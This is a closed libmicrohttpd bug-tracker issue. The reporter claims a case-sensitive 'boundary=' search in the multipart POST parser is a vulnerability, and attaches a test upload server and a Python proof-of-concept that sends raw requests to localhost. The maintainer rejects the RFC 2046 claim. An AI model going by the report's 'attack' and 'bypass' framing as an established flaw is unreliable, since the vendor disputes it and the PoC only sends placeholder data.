View Issue Details

IDProjectCategoryView StatusLast Update
0011247libmicrohttpdHTTP POSTpublic2026-05-20 01:34
ReporterR111 Assigned ToChristian Grothoff  
PrioritylowSeverityminorReproducibilityalways
Status closedResolutionno change required 
Product VersionGit master 
Target Version1.0.3Fixed in Version1.0.3 
Summary0011247: MHD_create_post_processor: case-sensitive boundary= search violates RFC 2046
Descriptionlibmicrohttpd is a GNU C library that allows developers to embed an HTTP server directly into their applications. It is widely used in embedded systems, IoT devices, and network daemons. When an application needs to handle multipart/form-data POST requests (file uploads), it calls MHD_create_post_processor() to parse the request body.

When an attacker sends a multipart/form-data request with a capitalized boundary parameter:

• MHD_create_post_processor() returns NULL
• The application's upload handler callback is never invoked
• The server returns HTTP 200 OK — indistinguishable from a successful upload
• No error is logged by the library


File: src/microhttpd/postprocessor.c, lines 79–89

    boundary =
      &encoding[MHD_STATICSTR_LEN_ (MHD_HTTP_POST_ENCODING_MULTIPART_FORMDATA)];
    /* Q: should this be "strcasestr"? */ <-- DEVELOPER TODO
    boundary = strstr (boundary, "boundary="); <-- VULNERABLE LINE 82
    if (NULL == boundary)
      return NULL; /* failed to determine boundary */
    boundary += MHD_STATICSTR_LEN_ ("boundary=");
    blen = strlen (boundary);
    if ( (blen < 2) ||
         (blen * 2 + 2 > buffer_size) )
      return NULL;
Steps To ReproduceTarget library : libmicrohttpd (git HEAD, src/microhttpd/postprocessor.c)
Build flags : CFLAGS="-g -O0 -fsanitize=address,undefined"
Test server : vuln_server.c (minimal libmicrohttpd file upload app)
Attack tools : attacker.py (raw socket) + Burp Suite

export LIB=/path/to/libmicrohttpd
gcc -g -I $LIB/src/include -o vuln_server vuln_server.c \
    -L $LIB/src/microhttpd/.libs -lmicrohttpd \
    -Wl,-rpath,$LIB/src/microhttpd/.libs
LD_PRELOAD=$(gcc -print-file-name=libasan.so) ./vuln_server
TagsNo tags attached.
Attached Files
vuln_server.c (3,346 bytes)   
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <microhttpd.h>

#define PORT 8888

static const char *HTML_PAGE =
  "<!DOCTYPE html><html><body>"
  "<h2>File Upload Server</h2>"
  "<form method='POST' action='/upload' enctype='multipart/form-data'>"
  "<input type='file' name='file'><br><br>"
  "<input type='submit' value='Upload'>"
  "</form></body></html>";

struct upload_ctx {
  struct MHD_PostProcessor *pp;
};

static enum MHD_Result
field_cb (void *cls, enum MHD_ValueKind kind,
          const char *key, const char *filename,
          const char *content_type, const char *transfer_encoding,
          const char *data, uint64_t off, size_t size)
{
  (void)cls; (void)kind; (void)off;
  (void)content_type; (void)transfer_encoding;
  if (filename)
    printf ("[SERVER] File received: '%s' (%zu bytes)\n", filename, size);
  else
    printf ("[SERVER] Field: key='%s' data='%.*s'\n", key, (int)size, data);
  return MHD_YES;
}

static enum MHD_Result
handler (void *cls,
         struct MHD_Connection *connection,
         const char *url,
         const char *method,
         const char *version,
         const char *upload_data,
         size_t *upload_data_size,
         void **con_cls)
{
  (void)cls; (void)version;

  if (NULL == *con_cls)
  {
    struct upload_ctx *ctx = calloc (1, sizeof (struct upload_ctx));
    if (0 == strcmp (method, "POST") && 0 == strcmp (url, "/upload"))
    {
      ctx->pp = MHD_create_post_processor (connection, 65536, field_cb, NULL);
      if (NULL == ctx->pp)
        printf ("[SERVER] !! post processor NULL — upload BYPASSED !!\n");
      else
        printf ("[SERVER] post processor created OK\n");
    }
    *con_cls = ctx;
    return MHD_YES;
  }

  struct upload_ctx *ctx = *con_cls;

  if (0 == strcmp (method, "POST") && *upload_data_size > 0)
  {
    if (ctx->pp)
      MHD_post_process (ctx->pp, upload_data, *upload_data_size);
    *upload_data_size = 0;
    return MHD_YES;
  }

  const char *body;
  unsigned int status;

  if (0 == strcmp (url, "/") || 0 == strcmp (url, "/index.html"))
  {
    body   = HTML_PAGE;
    status = MHD_HTTP_OK;
  }
  else if (0 == strcmp (url, "/upload") && 0 == strcmp (method, "POST"))
  {
    body   = "<html><body><h3>Upload complete.</h3><a href='/'>Back</a></body></html>";
    status = MHD_HTTP_OK;
    printf ("[SERVER] Response: 200 OK\n\n");
  }
  else
  {
    body   = "Not found";
    status = MHD_HTTP_NOT_FOUND;
  }

  struct MHD_Response *response =
    MHD_create_response_from_buffer (strlen (body), (void *)body,
                                     MHD_RESPMEM_PERSISTENT);
  MHD_add_response_header (response, "Content-Type", "text/html");
  enum MHD_Result ret = MHD_queue_response (connection, status, response);
  MHD_destroy_response (response);

  if (ctx->pp) MHD_destroy_post_processor (ctx->pp);
  free (ctx);
  *con_cls = NULL;
  return ret;
}

int main (void)
{
  struct MHD_Daemon *d =
    MHD_start_daemon (MHD_USE_INTERNAL_POLLING_THREAD,
                      PORT, NULL, NULL,
                      &handler, NULL,
                      MHD_OPTION_END);
  if (! d) { fprintf (stderr, "Failed to start\n"); return 1; }
  printf ("=== Vulnerable File Upload Server ===\n");
  printf ("Open http://127.0.0.1:%d in your browser\n\n", PORT);
  getchar ();
  MHD_stop_daemon (d);
  return 0;
}
vuln_server.c (3,346 bytes)   
poc.py (1,862 bytes)   
#!/usr/bin/env python3
import socket
import time

TARGET = "127.0.0.1"
PORT   = 8888

BODY = (
    b"--BOUNDARY123\r\n"
    b"Content-Disposition: form-data; name=\"secret_file\"; filename=\"malware.exe\"\r\n"
    b"Content-Type: application/octet-stream\r\n"
    b"\r\n"
    b"MALICIOUS_PAYLOAD_DATA\r\n"
    b"--BOUNDARY123--\r\n"
)

def send_raw(label, content_type_header):
    request = (
        f"POST /upload HTTP/1.1\r\n"
        f"Host: {TARGET}:{PORT}\r\n"
        f"Content-Type: {content_type_header}\r\n"
        f"Content-Length: {len(BODY)}\r\n"
        f"Connection: close\r\n"
        f"\r\n"
    ).encode() + BODY

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((TARGET, PORT))
    s.sendall(request)
    time.sleep(0.2)
    resp = b""
    while True:
        chunk = s.recv(4096)
        if not chunk:
            break
        resp += chunk
    s.close()

    status_line = resp.split(b"\r\n")[0].decode()
    print(f"  [{label}]")
    print(f"    Content-Type: {content_type_header}")
    print(f"    Server response: {status_line}")
    print()

print("=" * 60)
print("libmicrohttpd boundary= case-sensitivity bypass PoC")
print("RFC 2046 §4.1 violation in postprocessor.c:82")
print("=" * 60)
print()

print("--- NORMAL REQUEST (boundary= lowercase) ---")
send_raw("boundary=", "multipart/form-data; boundary=BOUNDARY123")
time.sleep(0.3)

print("--- ATTACK REQUEST 1 (Boundary= capitalized) ---")
send_raw("Boundary=", "multipart/form-data; Boundary=BOUNDARY123")
time.sleep(0.3)

print("--- ATTACK REQUEST 2 (BOUNDARY= all caps) ---")
send_raw("BOUNDARY=", "multipart/form-data; BOUNDARY=BOUNDARY123")
time.sleep(0.3)

print("ROOT CAUSE: postprocessor.c:82  strstr(boundary, \"boundary=\")")
print("Developer TODO: /* Q: should this be strcasestr? */")
print("Fix: case-insensitive search per RFC 2046 §4.1")
poc.py (1,862 bytes)   

Activities

Christian Grothoff

2026-05-20 01:33

manager   ~0028660

You are wrong, boundaries are case-sensitive. I see nothing in RFC 2046 saying that the boundary value should be case-insensitive. In fact, the examples given use mixed-case, re-enforcing the case-sensitivity.

https://www.rfc-editor.org/rfc/rfc7578?utm_source=chatgpt.com#page-4 also clearly states: "As with other multipart types, the parts are delimited with a boundary delimiter, constructed using CRLF, "--", and the value of the "boundary" parameter." The *value*, not some case-insensitive version thereof.

Issue History

Date Modified Username Field Change
2026-03-13 12:38 R111 New Issue
2026-03-13 12:38 R111 File Added: vuln_server.c
2026-03-13 12:38 R111 File Added: poc.py
2026-05-20 01:10 Christian Grothoff Assigned To => Christian Grothoff
2026-05-20 01:10 Christian Grothoff Status new => assigned
2026-05-20 01:33 Christian Grothoff Note Added: 0028660
2026-05-20 01:33 Christian Grothoff Status assigned => resolved
2026-05-20 01:33 Christian Grothoff Resolution open => no change required
2026-05-20 01:33 Christian Grothoff Fixed in Version => 1.0.3
2026-05-20 01:33 Christian Grothoff Status resolved => closed
2026-05-20 01:33 Christian Grothoff Product Version => Git master
2026-05-20 01:33 Christian Grothoff Target Version => 1.0.3
2026-05-20 01:34 Christian Grothoff View Status private => public